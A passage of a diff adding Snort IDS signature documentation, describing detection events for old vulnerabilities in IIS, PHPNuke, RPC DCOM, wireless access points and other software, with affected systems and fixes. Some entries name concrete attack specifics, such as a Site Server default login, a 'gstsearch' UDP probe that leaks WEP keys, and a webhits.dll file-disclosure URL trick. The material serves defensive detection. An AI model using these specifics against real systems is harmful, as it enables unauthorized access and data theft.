+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using AjaxPortal
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/713.txt
+++ snort-2.8.5.2/doc/signatures/713.txt
@@ -0,0 +1,70 @@
+Rule:
+--
+Sid:
+713
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Lucent/Livingston Portmaster router.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+This event is generated when an attempt is made to issue a Denial of
+Service (DoS) attack against a Livingston/Lucent router. In some
+situations malformed data sent to the Telnet service on the router can
+cause the DoS to occur.
+
+Lucent Portmaster routers were previously known as Livingston Portmaster
+from Livingston Technologies.
+
+--
+Affected Systems:
+	Lucent Portmaster 1.0
+	Lucent Portmaster 2.0
+	Lucent Portmaster 3.0
+
+--
+Attack Scenarios:
+The attacker can use one of the publicly available exploit scripts.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+The Portmaster series of routers is no longer available.
+
+Disable the Telnet service if possible.
+
+Reboot the router to regain the service
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/2225
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0218
+
+--
--- snort-2.8.5.2.orig/doc/signatures/978.txt
+++ snort-2.8.5.2/doc/signatures/978.txt
@@ -0,0 +1,63 @@
+Will %20 disappear with httpinspect?
+Rule:
+
+--
+Sid:
+978
+
+--
+Summary:
+This event is generated when an attempt is made to disclose the contents of a file on an Internet Information Service (IIS) host. 
+
+--
+Impact:
+Intelligence gathering activity.  This attack can display the contents of an Activer Server Page (ASP) file or other files located on the server. 
+
+--
+Detailed Information:
+A vulnerability exists in Windows NT 4.0 Option Pack and Windows 2000 Index Server.  The Index Server is a search engine used by IIS that allows a user's browser to search for text in HTML and other documents.   The Index Server has a Hit-Hightlighting component that highlights the text that satisifies the user's query.  A vulnerability exists in the webhits.dll file that allows disclosure of file contents when a URL is crafted to contain a hex-encoded space "%20" after the file name passed to webhits.dll and setting 'CiHiliteType' to 'Full' and 'CiRestriction' to 'none'
+
+--
+Affected Systems:
+Hosts running Microsoft Index Server 2.0
+
+--
+Attack Scenarios:
+An attacker can attempt to disclose the contents of a file by crafting a special URL to access the Hit-Highlighting component of the Index Server. 
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the patch discussed in the referenced Microsoft Bulletin.
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/1084
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0302
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms00-006.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2500.txt
+++ snort-2.8.5.2/doc/signatures/2500.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2500
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3433.txt
+++ snort-2.8.5.2/doc/signatures/3433.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3433
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/919.txt
+++ snort-2.8.5.2/doc/signatures/919.txt
@@ -0,0 +1,62 @@
+SID:
+919
+--
+
+Rule:
+--
+
+Summary:
+This even indicates an attempt to exploit undocumented CFML tags on a 
+Allaire ColdFusion Server
+--
+
+Impact:
+Extensive server data retrieval including settings and passwords
+--
+
+Detailed Information:
+Undocumented CFML tags allow reading and decryption of sensitive data 
+contained on servers running Allaire ColdFusion Server 2.0 - 4.0.1. This
+data can be accesses by constructing a hosted application that accesses 
+these undocumented tags with the possibility of changing values on the 
+server and reading admin and studio passwords
+--
+
+Affected Systems:
+	Allaire ColdFusion Server 2.0 - 4.0.1
+--
+
+Attack Scenarios:
+A user with permission to create pages on the server installs an 
+application that accesses the undocumented CFML tags, accessing this 
+application would allow viewing and possible modifications of these 
+settings
+--
+
+Ease of Attack:
+Medium, Attackers need the ability to add files to the server. No "In 
+the Wild" exploits were available at type of writing
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Patches are available from Allaire, install them.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1966.txt
+++ snort-2.8.5.2/doc/signatures/1966.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1966
+
+--
+Summary:
+This event is generated when an attempt is made to discover sensitive information associated with a Global Sun Technology wireless access point. 
+
+--
+Impact:
+Information disclosure.  A successful attack may return the administrative password along with other sensitive information about a wireless access point. 
+
+--
+Detailed Information:
+Global Sun Technology Inc. is a developer of Wireless Access Points for wireless vendors such as Wisecom, D-Link, as well as others.  There is a flaw in the code distributed by Global Sun Technology that allows an attacker to send a packet to UDP port 27155 with a string of "gstsearch" in the payload to the wireless access point, returning the Wired Equivalent Privacy (WEP) encryption keys, the MAC adress, and the administrative password. 
+
+--
+Affected Systems:
+
+  WISECOM GL2422AP-0T
+  D-Link DWL-900AP+ B1 version 2.1 and 2.2
+  ALLOY GL-2422AP-S
+  EUSSO GL2422-AP
+  LINKSYS WAP11-V2.2
+  DI-614+ Firmware version 2.03
+
+--
+Attack Scenarios:
+An attacker may use this exploit to obtain valuable information about the administration of the access point as a precursor for attempting to take control and administer the access point. 
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the most current version of firmware for the access point.
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/6100
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1708.txt
+++ snort-2.8.5.2/doc/signatures/1708.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1708
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2654.txt
+++ snort-2.8.5.2/doc/signatures/2654.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2654
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the web application PHPNuke.
+
+--
+Impact:
+SQL Injection is possible leading to a complete compromise of the data
+in the application database.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHPNuke web application running on a server.
+
+Insufficient checks are made on user input supplied to the script
+"viewtopic.php", exploitation of this issue could present an attacker
+with the opportunity to inject SQL code of their choosing into a
+vulnerable system.
+
+--
+Affected Systems:
+	PHPNuke 6.0
+	PHPNuke 6.5 RC2
+
+--
+Attack Scenarios:
+An attacker can supply code of their choice by including it in the
+URI that calls on viewtopic.php.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Consider reviewing the database permissions for the application.
+
+--
+Contributors:
+Sourcefire Research Team
+Ricky MacAtee <rmacatee@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1456.txt
+++ snort-2.8.5.2/doc/signatures/1456.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1456
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1565.txt
+++ snort-2.8.5.2/doc/signatures/1565.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1565
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2454.txt
+++ snort-2.8.5.2/doc/signatures/2454.txt
@@ -0,0 +1,52 @@
+Rule:
+
+--
+Sid:
+2454
+
+--
+Summary:
+This event is generated when a host in your network that has Yahoo Instant Messenger running has successfully logged on to a Yahoo IM conference.
+
+--
+Impact:
+Possible policy violation.  Instant Messenger programs may not be appropriate in certain network environments.
+
+--
+Detailed Information:
+A Yahoo IM conference allows multiple users to participate in the exchange of text and voice messages, as well as share files and webcams.  It is possible that a file that is exchanged may contain malicious code such as as virus, worm, Trojan, or backdoor.  Also, since all exchanges are done via Yahoo IM servers and in clear text, there should be no expectation of privacy.
+
+--
+Affected Systems:
+Any host running Yahoo Instant Messenger.
+
+--
+Attack Scenarios:
+A Yahoo IM user may unwittingly accept a malicious file.
+
+--
+Ease of Attack:
+Easy to transfer a malicious file.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+It may be possible for Yahoo IM traffic to use other ports than the default expected ones.  
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+--
+Additional References:
+Yahoo Protocol
+http://www.cse.iitb.ac.in/~varunk/YahooProtocol.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2316.txt
+++ snort-2.8.5.2/doc/signatures/2316.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2316
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft Windows Workstation service.
+
+--
+Impact:
+Serious. Denial of Service (DoS), execution of arbitrary code is
+possible.
+
+--
+Detailed Information:
+Due to insufficient bounds checking in the Microsoft Windows Workstation
+service, it may be possible for an attacker to overwrite portions of
+memory. This can result in the attacker being presented with the
+opportunity to execute code of their choosing. Under some circumstances
+a Denial of Service condition may be possible against the target host.
+
+Specifically, the DCE/RPC service allows for overly long strings to be
+sent to the Workstation logging function. This logging function does not
+check parameters sufficiently which results in the buffer overflow
+condition.
+
+--
+Affected Systems:
+	Microsoft Windows 2000 Service Pack 2, Service Pack 3, Service Pack 4
+	Microsoft Windows XP, Microsoft Windows XP Service Pack 1
+	Microsoft Windows XP 64-Bit Edition
+
+--
+Attack Scenarios:
+The attacker may use one of the available exploits to target a
+vulnerable host.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches and service packs.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-28.html
+http://www.kb.cert.org/vuls/id/567620
+
+Microsoft:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-049.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2135.txt
+++ snort-2.8.5.2/doc/signatures/2135.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+2135
+
+--
+Summary:
+This event is generated when a remote user attempts to access philboard.mdb on a web server port on an internal server. This may indicate an attempt to exploit a vulnerability in the default installation of Philboard bulletin board software, where the Philboard Access database is accessible to the Internet.
+
+--
+Impact:
+Information gathering, possible administrative access to the bulletin board.
+
+--
+Detailed Information:
+By default, Philboard installs the Access database file to database/philboard.mdb on the web server. Without authentication, an attacker can download this file to access Philboard bulletin board user names, passwords, and message archives.
+
+--
+Affected Systems:
+Any server running Philboard 1.x.
+
+--
+Attack Scenarios:
+An attacker can download the Philboard database, which will allow them to access Philboard user names, passwords, and message archives.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Move philboard.mdb to an inaccessible location and/or add security permissions to the directory in which it resides.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+Secunia
+http://www.secunia.com/advisories/8898/
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000325.txt
+++ snort-2.8.5.2/doc/signatures/100000325.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000325
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "ScozNet ScozNews" application running on a webserver. Access to the file "admin_cats.php" using a remote file being passed as the "main_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "main_path" parameter in the "admin_cats.php" script used by the "ScozNet ScozNews" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ScozNet ScozNews
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/110-3.txt
+++ snort-2.8.5.2/doc/signatures/110-3.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+110-3
+
+--
+Summary:
+This event is generated when the pre-processor spp_unidecode detects
+network traffic that may constitute an attack. Specifically an unknown
+mapping was detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the spp_unidecode pre-processor detects
+network traffic that may consititute an attack.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1817.txt
+++ snort-2.8.5.2/doc/signatures/1817.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+1817
+
+--
+Summary:
+This event is generated when an attempt is made to log on to Microsoft Site Server with a default account. 
+
+--
+Impact:
+Information gathering.  This attack may permit leaking of information associated with particular Site Server files.
+
+--
+Detailed Information:
+Microsoft Site Server is software for Windows NT servers that allows users to publish, find, and share information.  There is a vulnerability that allows leaking of information of some Site Server files when an attacker logs on with the username of 'LDAP_AnonymousUser' and a password of 'LdapPassword_1'.
+
+--
+Affected Systems:
+
+Microsoft Site Server 3.0 
+
+--
+Attack Scenarios:
+An attacker can log on to Site Server using a default username and password to view Site Server files.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply Service Pack 4.
+
+
+--
+Contributors:
+Original rute writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=11018
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2214.txt
+++ snort-2.8.5.2/doc/signatures/2214.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2214
+
+--
+Summary:
+This event is generated when an attempt is made to access mailview.cgi on an internal web server. This may indicate an attempt to exploit a directory traversal vulnerability in MailStudio 2000 2.0 and earlier.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+MailStudio 2000 is mail server software for Solaris or Linux operating systems. It contains a vulnerability where data sent to mailview.cgi is not properly parsed. This can allow an attacker to use directory traversal techniques (/../) within the "html" parameter to view arbitrary files on the system, including other users' email, configuration files, and password files.
+
+--
+Affected Systems:
+Systems running MailStudio 2000 2.0 and earlier.
+
+--
+Attack Scenarios:
+An attacker sends a specially crafted HTTP request to a vulnerable web server with another user's email file as the html argument. The attacker will then be able to view the file.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses mailview.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+It is not known if this vulnerability has been fixed. Contact the vendor, 3R Soft (http://www.3rsoft.com), for more information.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/1335
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2024.txt
+++ snort-2.8.5.2/doc/signatures/2024.txt
@@ -0,0 +1,84 @@
+Rule:
+
+--
+Sid:
+2024
+
+--
+Summary:
+A vulnerability exists in Solaris snoop such that a remote attacker 
+could gain superuser access when used with the RPC service rquotad
+
+--
+Impact:
+Remote super user access leading to a compromise of the target machine 
+along with any network resources that machine is connected to.
+
+--
+Detailed Information:
+Certain versions of the Solaris operating system use a program to
+monitor network traffic called Snoop. This program contains a flaw such
+that under certain conditions a buffer overflow can be caused by a 
+remote attacker.
+
+One such condition occurs when snoop tries to decode GETQUOTA requests
+to the RPC service rquotad. This daemon sends information regarding disk
+quotas on multi-user systems using remotely mounted shares via NFS. A
+specially crafted long request will trigger this overflow resulting in
+root access on the victim host.
+
+--
+Affected Systems:
+	Sun Solaris 2.4 _x86
+	Sun Solaris 2.4
+	Sun Solaris 2.5 _x86
+	Sun Solaris 2.5
+	Sun Solaris 2.5.1 _x86
+	Sun Solaris 2.5.1 _ppc
+	Sun Solaris 2.5.1
+	Sun Solaris 2.6 _x86
+	Sun Solaris 2.6
+	Sun Solaris 7.0 _x86
+	Sun Solaris 7.0
+
+--
+Attack Scenarios:
+An attacker can send a specially crafted long request to snoop via the 
+rpc.rquotad service such that it will generate a buffer overflow.
+
+--
+Ease of Attack:
+Simple although a requirement is that snoop should be running at the 
+time of attack.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Patches are available for all operating systems and platforms listed as
+affected from Sun. These patches should be applied as soon as possible.
+
+See the Vendor site http://sunsolve.sun.com for details.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/864
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0974
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2941.txt
+++ snort-2.8.5.2/doc/signatures/2941.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+2941
+
+--
+Summary:
+This event is generated when an attempt is made to bind to the Windows
+registry service via SMB. 
+
+--
+Impact:
+Serious. Remote administration of the Windows reqistry may be possible.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to bind to the Windows
+registry service via SMB across the network.
+
+It may be possible for an attacker to manipulate the Windows registry
+from a remote location. This could give the attacker administrative
+privileges on the target host as well as the opportunity to execute code
+of their choosing.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+If the Windows registry is accessible via SMB the attacker can
+manipulate the operating system registry settings.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1417.txt
+++ snort-2.8.5.2/doc/signatures/1417.txt
@@ -0,0 +1,77 @@
+Rule:
+  
+--
+Sid:
+1417
+
+--
+
+Summary:
+This event is generated when an SNMP-Trap connection over UDP to an SNMP
+daemon is made.
+
+--
+
+Impact:
+Information gathering
+
+--
+
+Detailed Information:
+The SNMP (Simple Network Management Protocol) Trap daemon usually 
+listens on port 161, tcp or udp.
+
+An attacker may attempt to send this request to determine if a device is
+using SNMP.
+
+--
+
+Affected Systems:
+Devices running SNMP daemons on well known ports.
+
+--
+
+Attack Scenarios:
+An attacker sends a packet directed to udp port 161, if sucessful a 
+reply is generated and the attacker may then launch further attacks 
+against the SNMP daemon.
+
+--
+
+Ease of Attack:
+Simple.
+
+--
+
+False Positives:
+None known.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Use a packet filtering firewall to protect devices using the SNMP 
+protocol and only allow connections from well-known hosts.
+
+--
+
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0013
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0012
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1043.txt
+++ snort-2.8.5.2/doc/signatures/1043.txt
@@ -0,0 +1,65 @@
+Rule:
+--
+Sid:
+1043
+--
+Summary:
+This event is generated when an attempt is made to access the file 
+'viewcode.asp' on a web server.
+--
+Impact:
+If successful, this attack will display the contents of any file on the 
+server.   In addition, it has been reported that this tool is vulnerable
+to a denial of service attack.
+--
+Detailed Information:
